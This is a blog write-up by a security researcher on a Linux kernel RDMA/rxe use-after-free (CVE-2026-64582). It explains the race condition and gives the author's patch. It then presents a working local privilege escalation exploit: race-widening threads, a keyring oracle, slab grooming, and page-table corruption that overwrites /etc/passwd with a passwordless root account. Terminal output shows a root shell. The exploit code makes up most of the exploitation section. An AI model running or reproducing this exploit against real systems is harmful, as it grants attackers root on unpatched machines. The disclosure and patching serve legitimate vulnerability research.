2577 words
13 minutes
[Linux RDMA/rxe] From kref_get to root: exploitation of CVE-2026-64582

A few months ago I reported a use-after-free bug in the RDMA/RXE driver in the linux kernel. In this write-up I will dig the bug, my patch and how I managed to turn it into a rather reliable LPE.

The bug#

For a little bit of background, RDMA (Remote Direct Memory Access) is a networking technology that allows computers to share blobs of RAM over the network, it is supported by Host Channel Adapters (HCAs) which can be plugged to your cpu. In our case we will focus the driver managing Soft-RoCE (RXE), which is a software implementation of the RDMA over Ethernet transport. What matters to us is mainly the mmap implementation:

void rxe_mmap_release(struct kref *ref)
{
	struct rxe_mmap_info *ip = container_of(ref,
					struct rxe_mmap_info, ref);
	struct rxe_dev *rxe = to_rdev(ip->context->device);

	spin_lock_bh(&rxe->pending_lock);

	if (!list_empty(&ip->pending_mmaps))
		list_del(&ip->pending_mmaps);

	spin_unlock_bh(&rxe->pending_lock);

	vfree(ip->obj);		/* buf */
	kfree(ip);
}

static void rxe_vma_open(struct vm_area_struct *vma)
{
	struct rxe_mmap_info *ip = vma->vm_private_data;

	kref_get(&ip->ref);
}

static void rxe_vma_close(struct vm_area_struct *vma)
{
	struct rxe_mmap_info *ip = vma->vm_private_data;

	kref_put(&ip->ref, rxe_mmap_release);
}

static const struct vm_operations_struct rxe_vm_ops = {
	.open = rxe_vma_open,
	.close = rxe_vma_close,
};

int rxe_mmap(struct ib_ucontext *context, struct vm_area_struct *vma)
{
	struct rxe_dev *rxe = to_rdev(context->device);
	unsigned long offset = vma->vm_pgoff << PAGE_SHIFT;
	unsigned long size = vma->vm_end - vma->vm_start;
	struct rxe_mmap_info *ip, *pp;
	int ret;

	spin_lock_bh(&rxe->pending_lock);
	list_for_each_entry_safe(ip, pp, &rxe->pending_mmaps, pending_mmaps) {
		if (context != ip->context || (__u64)offset != ip->info.offset)
			continue;

		goto found_it;
	}
	rxe_dbg_dev(rxe, "unable to find pending mmap info\n");
	spin_unlock_bh(&rxe->pending_lock);
	ret = -EINVAL;
	goto done;

found_it:
	list_del_init(&ip->pending_mmaps);
	spin_unlock_bh(&rxe->pending_lock);

	ret = remap_vmalloc_range(vma, ip->obj, 0);

	vma->vm_ops = &rxe_vm_ops;
	vma->vm_private_data = ip;
	rxe_vma_open(vma); // refcount + 1
done:
	return ret;
}

We can register a Completion Queue (CQ) and then mmap it somewhere within out process, and we can destroy this CQ as well through a specific command. The issue is that there is no lock at all within the destroy code path, if you destroy the CQ it will just decrement the reference counter of the rxe_mmap_info which is being fetched in the code above. And when the reference counter is zero, rxe_mmap_release gets called. The idea of the bug is too destroy the CQ while the mmap handler has reached found_it. It will then try to insert the CQ within the user process and will increment the refcount, but at the same time rxe_mmap_release will be releasing both the vmalloc ip->obj object and the ip object itself.

remap_vmalloc_range being quite long it will most likely just raise a GPF because ip->obj just got vfreed which means that remap_vmalloc_range cannot access its PTEs anymore. The race looks like this:

Time ↓

Thread A: rxe_mmap()                    Thread B: destroy CQ
──────────────────────────────         ─────────────────────────────

spin_lock_bh(&pending_lock)
find ip in pending_mmaps

list_del_init(&ip->pending_mmaps)
spin_unlock_bh(&pending_lock)

                                         kref_put(&ip->ref,
                                                  rxe_mmap_release)
                                         refcount: 1 → 0

                                         rxe_mmap_release(ip)
                                           vfree(ip->obj)
                                           kfree(ip)

remap_vmalloc_range(vma, ip->obj, 0)
                          │
                          └── ip and ip->obj are already freed
                              → use-after-free / GPF / crash

vma->vm_private_data = ip
rxe_vma_open(vma)
  kref_get(&ip->ref)
  └── UAF

So apparently the bug is simply a DoS, I submitted the following patch which is mitigating the concurrent destroy path:

index db380302149e..3407785c582c 100644
--- a/drivers/infiniband/sw/rxe/rxe_mmap.c
+++ b/drivers/infiniband/sw/rxe/rxe_mmap.c
@@ -93,18 +93,29 @@ int rxe_mmap(struct ib_ucontext *context, struct vm_area_struct *vma)
 	goto done;
 
 found_it:
+	/* Increment refcount and check whether it is being freed atm while
+	 * holding lock to prevent UAF */
+	if (!kref_get_unless_zero(&ip->ref)) {
+		spin_unlock_bh(&rxe->pending_lock);
+		ret = -ENXIO;
+		goto done;
+	}
+
 	list_del_init(&ip->pending_mmaps);
 	spin_unlock_bh(&rxe->pending_lock);
 
+	vma->vm_ops = &rxe_vm_ops;
+	vma->vm_private_data = ip;
+
 	ret = remap_vmalloc_range(vma, ip->obj, 0);
 	if (ret) {
+		vma->vm_private_data = NULL;
+		vma->vm_ops = NULL;
+		kref_put(&ip->ref, rxe_mmap_release);
 		rxe_dbg_dev(rxe, "err %d from remap_vmalloc_range\n", ret);
 		goto done;
 	}
 
-	vma->vm_ops = &rxe_vm_ops;
-	vma->vm_private_data = ip;
-	rxe_vma_open(vma);
 done:
 	return ret;
 }
-- 

Exploitation#

Extending the race#

The first step is to avoid the GPF, all we need is to delay the vfree quite a bit so the remap_vmalloc_range can complete before the vfree. To do so I used the waitqueue technique from p0. We just create a bunch of threads, pin them on the target cpu which will run the destroy thread and wake them up every few nanoseconds while they’re blocking on a read:

static void *timer_pressure_thread(void *argument)
{
	int index = (int)(intptr_t)argument;
	struct itimerspec its = {};
	uint64_t expirations;
	int fd;

	if (pin_cpu(opt.destroy_cpu) < 0)
		perror("pin timer CPU");

	fd = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC);
	if (fd < 0)
		die("timerfd_create");

	its.it_value.tv_nsec =
		(long)(opt.timer_period_ns + (uint64_t)index * 997);
	its.it_interval.tv_nsec = (long)opt.timer_period_ns;
	if (timerfd_settime(fd, 0, &its, NULL) < 0)
		die("timerfd_settime");

	atomic_fetch_add_explicit(&timers_ready, 1, memory_order_release);
	while (!atomic_load_explicit(&stop_timers, memory_order_acquire)) {
		uint64_t start;
		ssize_t ret = read(fd, &expirations, sizeof(expirations));

		if (ret < 0 && errno == EINTR)
			continue;
		if (ret != (ssize_t)sizeof(expirations))
			break;

		start = monotonic_ns();
		while (monotonic_ns() - start < opt.timer_busy_ns)
			cpu_relax();
	}
	close(fd);
	return NULL;
}

With that we can safely avoid the GPF but we are not sure whether the UAF got triggered or not, that’s why we need an oracle to do that.

Oracle with keyring#

To check wheter the UAF has fired or not we can alloc a bunch of keys, right after freeing back the freed struct rxe_mmap_info (let’s call it the victim) back to the SLUB. By specifying the right size we can retrieve the victim object, trigger another UAF by forking (which will call rxe_vma_open and kref_get on the victim) and then read the content of the key to check whether it just changed or not:

static int key_fork_oracle(int iteration)
{
	struct key_payload observed;
	int hold_pipe[2] = {-1, -1};
	int ready_pipe[2] = {-1, -1};
	int hit = -1;
	pid_t child = -1;
	char byte;
	int status;

	if (pin_cpu(opt.destroy_cpu) < 0)
		perror("pin key spray CPU");

	if (allocate_key_batch(&primary_oracle, opt.key_spray, KEY_PAYLOAD_SIZE,
			       "rxe-uaf", iteration, 0,
			       init_oracle_payload) < 0)
		die("allocate primary key batch");
	if (!primary_oracle.created) {
		perror("add_key");
		exit(EXIT_FAILURE);
	}

	if (pipe(hold_pipe) < 0 || pipe(ready_pipe) < 0)
		die("pipe");

	child = fork();
	if (child < 0)
		die("fork");
	if (child == 0) {
		close(hold_pipe[1]);
		close(ready_pipe[0]);
		byte = 'R';
		if (write(ready_pipe[1], &byte, 1) != 1)
			_exit(2);
		if (read(hold_pipe[0], &byte, 1) != 1)
			_exit(3);
		_exit(0);
	}

	close(hold_pipe[0]);
	hold_pipe[0] = -1;
	close(ready_pipe[1]);
	ready_pipe[1] = -1;
	if (read(ready_pipe[0], &byte, 1) != 1)
		goto release_child;

	for (int i = 0; i < primary_oracle.created; i++) {
		const struct key_payload *expected =
			key_batch_payload(&primary_oracle, i);
		long size = read_key(primary_oracle.serials[i], &observed,
				     sizeof(observed));

		if (size != KEY_PAYLOAD_SIZE)
			continue;
		if (observed.ref_canary == expected->ref_canary + 1 &&
		    observed.tag == expected->tag &&
		    observed.zero_obj == 0 &&
		    !memcmp(observed.marker, expected->marker,
			    sizeof(observed.marker))) {
			hit = i;
			printf("[+] UAF key[%d]=%d description=\"%s\" "
			       "payload[0]: %#x -> %#x while fork child "
			       "is alive\n",
			       i, primary_oracle.serials[i],
			       primary_oracle.descriptions[i],
			       expected->ref_canary, observed.ref_canary);
			break;
		}
	}

release_child:
	byte = 'X';
	if (hold_pipe[1] >= 0) {
		ssize_t ignored = write(hold_pipe[1], &byte, 1);

		(void)ignored;
	}
	if (child > 0)
		waitpid(child, &status, 0);

	if (hit >= 0) {
		const struct key_payload *expected =
			key_batch_payload(&primary_oracle, hit);
		long size = read_key(primary_oracle.serials[hit], &observed,
				     sizeof(observed));

		printf("[UAF] after child exit: payload[0]=%#x "
		       "(expected restored %#x, read=%ld)\n",
		       observed.ref_canary, expected->ref_canary, size);
		if (size != KEY_PAYLOAD_SIZE ||
		    observed.ref_canary != expected->ref_canary)
			hit = -1;
	}
out:
	if (hold_pipe[0] >= 0)
		close(hold_pipe[0]);
	if (hold_pipe[1] >= 0)
		close(hold_pipe[1]);
	if (ready_pipe[0] >= 0)
		close(ready_pipe[0]);
	if (ready_pipe[1] >= 0)
		close(ready_pipe[1]);

	if (hit < 0) {
		if (mapping != MAP_FAILED) {
			munmap(mapping, mmap_size ? mmap_size : PAGE_SIZE_BYTES);
			mapping = MAP_FAILED;
		}
		pin_cpu(0);
		deallocate_key_batch(&primary_oracle);
	}
	return hit >= 0;
}

And now we can tell when the UAF has fired or not! The limitation being that for an unprivileged user we are limited to sysctl kernel.keys.maxkeys (200). The oracle is actually not needed, we could just try so many times and assume that we succeeded as least once and then allocate another object like struct_fown of uring. But this step makes the exploit neater and from my tests I always managed to get a shell before reaching the limit.

=== rxe_mmap UAF LPE ===
[*] iterations=600 cqe=1 keys=32 delay=0+N*10 ns (21 steps)
[*] mmap CPU=1 destroy/timer CPU=0 timers=2 period=20000 ns busy=2500 ns
[+] GET_CONTEXT async_fd=4 vectors=2, ALLOC_PD=0
[*] Increasing file descriptor limit...
[*] iter=0 delay=0 ns: mmap+destroy candidate; leave_delta=+76158 ns, spraying 32 keys
[*] iter=1 delay=10 ns: mmap+destroy candidate; leave_delta=+1689873 ns, spraying 32 keys
[*] iter=2 delay=20 ns: mmap+destroy candidate; leave_delta=+54783 ns, spraying 32 keys
[*] iter=3 delay=30 ns: mmap+destroy candidate; leave_delta=+50735 ns, spraying 32 keys
[*] iter=4 delay=40 ns: mmap+destroy candidate; leave_delta=-64 ns, spraying 32 keys
[*] iter=5 delay=50 ns: mmap+destroy candidate; leave_delta=+6011 ns, spraying 32 keys
[*] iter=6 delay=60 ns: mmap+destroy candidate; leave_delta=-11680 ns, spraying 32 keys
[+] UAF key[0]=534363341 description="rxe-uaf-443-6-0" payload[0]: 0x1337e000 -> 0x1337e001 while fork child is alive
[UAF] after child exit: payload[0]=0x1337e000 (expected restored 0x1337e000, read=40)

Dirty pageflags#

Now that we know exactly which key holds the victim we can leverage Dirty pageflags to get a shell. Basically Dirty pageflags is about incrementing the lower bits of a PTE from readable / present (01) to writable / present (11), it will then allow us to write to a read only file (/etc/passwd) by simply targeting the right PTE entry.

pin_cpu(0);
puts("[+] Preparing pages...");
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
    for (size_t j = 0; j < ENTRY_PER_TABLE; j++) {
        for (int k = 24; k < 0x1000-24; k  += 0x40) {
            mmap_file_by_pti(etcfd, 1, i, j, k / 8);
            // We spray the ptes in +24 because the ref count is located in obj+24 and 
            // are iterating thru 0x40 which is the size of the victim struct
        }
    }
    volatile char c = *PTI_TO_VIRT(1, i, 0, 3); // pte doesnt matter here but it should at least exist
}

pin_cpu(0);
puts("[+] Saturating kmalloc-64...");

struct fown_struct_spray spray_fown;
allocate_fown_structs(&spray_fown, OBJS_PER_SLAB * (NR_PARTIAL) \
                                    + FULL_SHEAF_CAPACITY * (MAX_FULL_SHEAVES + 2)); // [1]

deallocate_fown_structs(&spray_fown); [2]

release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE); [3]
revoke_key_batch_and_wait(&primary_oracle); [4]

puts("[+] Spraying uring to the main sheaf so the victim can be freed to the buddy...");

release_uring(spray, 0x275); [5]

puts("[+] Spraying PTEs...");
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
    for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
        volatile char c;
        for (int k = 24; k < 0x1000-24; k  += 0x40) {
            c = *PTI_TO_VIRT(1, i, j, k / 8);
        }
    }
}

// getchar();
if (!fork()) { while (1); }
if (!fork()) { while (1); }
// ref count += 2

char* content = 
"root::0:0:root:/pwn3d:/bin/sh\n\
nasm::0:0::/root:/bin/bash\n";

char buf[PAGE_SIZE_BYTES] = {0};
int neko = open("/tmp/neko", O_RDWR | O_CREAT, 0666);
memcpy(buf, content, strlen(content));
write(neko, buf, strlen(content));

for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
    for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
        for (int k = 24; k < 0x1000-24; k  += 0x40) {
            ssize_t s;
            lseek(neko, 0, SEEK_SET);
            s = read(neko, PTI_TO_VIRT(1, i, j, k / 8), strlen(content));
            // we read into it instead of writing to avoid crashing, check the original blog post
            if (s > 0) {
                printf("[+] Success: wrote entry: %ld, %ld\n", i, j);
                result = EXIT_SUCCESS;
            }
        }
    }
}
  • I will not dig into the details of Dirty pageflags, you can check the original write-up for that, what is worth noting here is that I am trying to release the slab page containing the victim object back to the buddy allocator, to do so i first drain kmalloc-64 [1], at this point the cache looks like this:
SLUB cache kmalloc-64 @ 0xffff888100041700
  object size: 64 (0x40); chunk size: 64 (0x40)
  sheaf capacity: 60 objects
  node 0 barn: 0xffff8881000429c0
    full:    0/10 sheaves, 0 cached objects
    empty:   10 sheaves
      sheaf:     0xffff88810004d000  0/60 objects (empty)
      sheaf:     0xffff88810004cc00  0/60 objects (empty)
      sheaf:     0xffff8881009e0c00  0/60 objects (empty)
      sheaf:     0xffff8881009f2200  0/60 objects (empty)
      sheaf:     0xffff8881009f0600  0/60 objects (empty)
      sheaf:     0xffff888100b71800  0/60 objects (empty)
      sheaf:     0xffff8881009f1400  0/60 objects (empty)
      sheaf:     0xffff8881009f2600  0/60 objects (empty)
      sheaf:     0xffff8881009f0400  0/60 objects (empty)
      sheaf:     0xffff8881009f2400  0/60 objects (empty)
  cpu 0 (node 0) sheaves: 0xffff888237c2cf38
    main:      0xffff888100b71600  50/60 objects (partial)
    spare:     0xffff8881009ca200  0/60 objects (empty)
    rcu_free:  0xffff88810004ce00  26/60 objects (partial)
    next bulk free: free #671 (after 670 more cached frees)
      flush amount: 60 objects from the full spare sheaf
    next RCU sheaf submission: 34 RCU frees
  cpu 1 (node 0) sheaves: 0xffff888237d2cf38
    main:      0xffff8881009f0200  59/60 objects (partial)
    spare:     0xffff8881009f0800  60/60 objects (full)
    rcu_free:  0xffff888100822e00  17/60 objects (partial)
    next bulk free: free #602 (after 601 more cached frees)
      flush amount: 60 objects from the full spare sheaf
    next RCU sheaf submission: 43 RCU frees
  node 0 partial slabs: 1
    slab: 0xffffea0004874080  52/64 objects in use
  • Then I immediatly free everything [2] to make sure there are at least: OBJS_PER_SLAB * (NR_PARTIAL) + FULL_SHEAF_CAPACITY * (MAX_FULL_SHEAVES + 2) objects in the cache (you can check this article about the internals of the sheaf/barn) so the subsequent release will return the victim to the buddy allocator.
SLUB cache kmalloc-64 @ 0xffff888100041700
  object size: 64 (0x40); chunk size: 64 (0x40)
  sheaf capacity: 60 objects
  node 0 barn: 0xffff8881000429c0
    full:    10/10 sheaves, 600 cached objects
      sheaf:     0xffff8881009f0400  60/60 objects (full)
      sheaf:     0xffff8881009f2600  60/60 objects (full)
      sheaf:     0xffff8881009f1400  60/60 objects (full)
      sheaf:     0xffff888100b71800  60/60 objects (full)
      sheaf:     0xffff8881009f0600  60/60 objects (full)
      sheaf:     0xffff8881009f2200  60/60 objects (full)
      sheaf:     0xffff8881009e0c00  60/60 objects (full)
      sheaf:     0xffff88810004cc00  60/60 objects (full)
      sheaf:     0xffff88810004d000  60/60 objects (full)
      sheaf:     0xffff8881009ca200  60/60 objects (full)
    empty:   0 sheaves
  cpu 0 (node 0) sheaves: 0xffff888237c2cf38
    main:      0xffff8881009f2400  6/60 objects (partial)
    spare:     0xffff888100b71600  60/60 objects (full)
    rcu_free:  0xffff88810004ce00  26/60 objects (partial)
    next bulk free: free #55 (after 54 more cached frees)
      flush amount: 60 objects from the full spare sheaf
    next RCU sheaf submission: 34 RCU frees
  cpu 1 (node 0) sheaves: 0xffff888237d2cf38
    main:      0xffff8881009f0200  59/60 objects (partial)
    spare:     0xffff8881009f0800  60/60 objects (full)
    rcu_free:  0xffff888100822e00  17/60 objects (partial)
    next bulk free: free #2 (after 1 more cached frees)
      flush amount: 60 objects from the full spare sheaf
    next RCU sheaf submission: 43 RCU frees
  node 0 partial slabs: 39
    slab: 0xffffea0004874080  1/64 objects in use
...
    slab: 0xffffea000457b240  40/64 objects in use
  • I release the anon_vma_chain [3] structures I spread around the victim object and I release the bunch of keys containing the victim itself [4]. At this point the victim slab is not release to the buddy allocator yet because it still is remaining in the main sheaf, to actually release it, I first need to spray a few percpu_ref_data in kmalloc-64, which will return the slab page to the buddy allocator and achieve the UAF on the PTE.

We finally get:

testuser@syzkaller:/tmp$ gcc rxe.c -o poc
testuser@syzkaller:/tmp$ ./poc 
=== rxe_mmap UAF LPE ===
[*] iterations=600 cqe=1 keys=32 delay=0+N*10 ns (21 steps)
[*] mmap CPU=1 destroy/timer CPU=0 timers=2 period=20000 ns busy=2500 ns
[+] GET_CONTEXT async_fd=4 vectors=2, ALLOC_PD=0
[*] Increasing file descriptor limit...
[*] iter=0 delay=0 ns: mmap+destroy candidate; leave_delta=+37829 ns, spraying 32 keys
[*] iter=1 delay=10 ns: mmap+destroy candidate; leave_delta=-25350554 ns, spraying 32 keys
[+] UAF key[0]=488948048 description="rxe-uaf-335-1-0" payload[0]: 0x13375000 -> 0x13375001 while fork child is alive
[UAF] after child exit: payload[0]=0x13375000 (expected restored 0x13375000, read=40)
[+] Preparing pages...
[+] Saturating kmalloc-64...
[RECLAIM] revoked 32 payloads; waiting 250 ms for RCU callbacks
[+] Spraying uring to the main sheaf so the victim can be freed to the buddy...
[+] Spraying PTEs...
[+] Success: wrote entry: 0, 125
root@syzkaller:/tmp# 

References#

The vulnerability has been patched in 35744ab3d03c5fca8c1752f53fc8fc674e14c561. The exploit code is available here. I tested my exploit against 7.2.0-rc1-00119-g51512e22efe8-dirty compiled with:

cd linux && make defconfig && ./scripts/config \
 -d SLAB_FREELIST_RANDOM \
 -d SLAB_FREELIST_HARDENED \
 -d SLAB_BUCKETS \
 -d KMALLOC_PARTITION_CACHES \
 -d KFENCE \
 -d INIT_ON_ALLOC_DEFAULT_ON \
 -d INIT_ON_FREE_DEFAULT_ON \
 -d HARDENED_USERCOPY \
 -d FORTIFY_SOURCE \
 -d DEBUG_INFO_NONE \
 -e DEBUG_INFO_DWARF4 \
 -e TUN \
 -e E1000 \
 -e USER_NS \
 -e VETH \
 -e BINFMT_MISC \
 -e CONFIGFS_FS \
 -e SECURITYFS \
 -e INFINIBAND \
 -e INFINIBAND_USER_ACCESS \
 -e INFINIBAND_USER_MEM \
 -e RDMA_RXE \
 --set-str SYSTEM_TRUSTED_KEYS "" \
 --set-str SYSTEM_REVOCATION_KEYS "" \
 && make olddefconfig && make -j`nproc`
[Linux RDMA/rxe] From kref_get to root: exploitation of CVE-2026-64582
https://n4sm.github.io/posts/cve-2026-64582/
Author
nasm
Published at
2026-08-06